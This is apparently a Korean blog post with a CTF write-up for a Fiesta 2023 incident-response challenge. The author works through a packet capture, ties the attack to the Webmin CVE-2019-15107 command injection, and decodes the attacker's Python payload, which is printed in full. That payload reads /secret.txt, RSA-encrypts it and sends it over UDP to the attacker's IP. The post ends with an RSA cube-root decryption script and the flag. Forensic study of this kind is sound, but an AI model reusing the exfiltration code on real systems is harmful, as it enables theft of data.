티스토리 뷰

CTF/Networking

[Fiesta 2023] 침해대응 3

youung 2024. 2. 13. 19:59
728x90
반응형

문제 정보

문제에는 pcapng 파일이 1개 주어진다.

 

 

 

 

 

 

 

editcap -F libpcap -T ether capture.pcapng capture.pcap

NetworkMiner로 열기 위해 pcapng파일을 pcap 파일로 변환시켰다.

 

 

 

 

 

 

 

공격자와 서버의 IP 주소를 알아냈다.

공격자 : 192.168.152.130

 서   버 : 192.168.152.129

 

 

 

 

 

 

 

 

ip.src == 192.168.152.130 and ip.dst == 192.168.152.129

공격자와 서버의 ip를 필터링을 걸어 패킷을 확인했다.

 

 

 

 

 

 

 

 

 

POST  /password_change.cgi  HTTP/1.1

공격에 성공한 패킷을 확인했을 때 /password_chage.cgi 에서

bas64로 인코딩된 문자열을 발견했다.

 

 

 

 

 

 

 

 

해당 공격을 구글링해서 webmin 원격코드 실행 취약점이라는 것을 알아냈다.

 

 

https://www.cvedetails.com/cve/CVE-2019-15107/

 

CVE-2019-15107 : An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injectio

CVE-2019-15107 : An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

www.cvedetails.com

 

 

 

 

 

 

 

 

8080 Port로 데이터가 전송된 패킷을 확인했다.

 

 

 

 

 

 

 

 

/tmp/ak1n234

/tmp/ak1n234 파일을 확인할 수 있다.

 

 

 

 

 

 

 

 

xor 10

n,e = (20484848979077986247262160404274050441451911882502922748131956702633362849273718249306927824530459256080477468268877666964112964
import binascii
try:
	f = open("/secret.txt",'rb')
	data = int(binascii.hexlify(f.read()),16)
	encdata = str(hex(pow(data, e, n))).encode()
	import socket
	sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	sock.sendto(encdata, ('192.168.152.130', 51421))
	sock.close()
except:
	pass

해당 데이터를 xor 해서 Python 코드를 구했다.

위 코드는 secret.txt 를 RSA로 암호화해서 192.168.152.130:51421 로 전송한다. 

 

 

 

 

 

 

 

 

ip.dst == 192.168.152.130

Destionation IP가 공격자인 패킷들만 검색해 전송된 데이터를 확인했다.

 

 

 

 

 

 

from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

n = 20484848979077986247262160404274050441451911882502922748131956702633362849273718234324115969494857760951327174628643060473805741303200210421875714914781586471154632824325230316477327865331727378702302145153523082596876051740521413585082431019783403238543826742154162368028557809481592985346537427096904366274104098894412037891460999045407239762218306023340045379247500852588035554011290036567053879452998972455830942886731392302771340227553171170254739251791179350385938286349047213032701214775980758527295226157212440697739528536471048566153

c = 0xd3e5a3da7412766fcef80819e5215db5bf6a742f9d7dfb4d7b841c6322b0c0b3f99e7cc79d98b8a8bfd085afa8935ec7d5af716a16b5b50b9f5f9e8a5d36bf3688f325d660b3fc418f46bede1cc48b0166869787a5262ed693427beea32158ea7f89ddfadd76c7fe8

flag = long_to_bytes(iroot(c, 3)[0])
print(flag)

복호화로 FLAG의 뒷 부분을 구했다!

 

 

 

 

 

 

 

FLAG

fiesta{CVE-2019-15107_ce343a02efb635cdf61948a9dd101259}

 

 

 

728x90
반응형

'CTF > Networking' 카테고리의 다른 글

[Fiesta 2023] 특별문제 2  (0) 2024.02.13
[IrisCTF 2023] wi-the-fi  (0) 2024.01.18
[BDSecCTF 2023] HostName  (0) 2023.07.21
[BDSecCTF 2023] IP Addr  (0) 2023.07.21
[Fiesta 2022] 랜섬웨어 - 문제1  (0) 2022.09.26
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함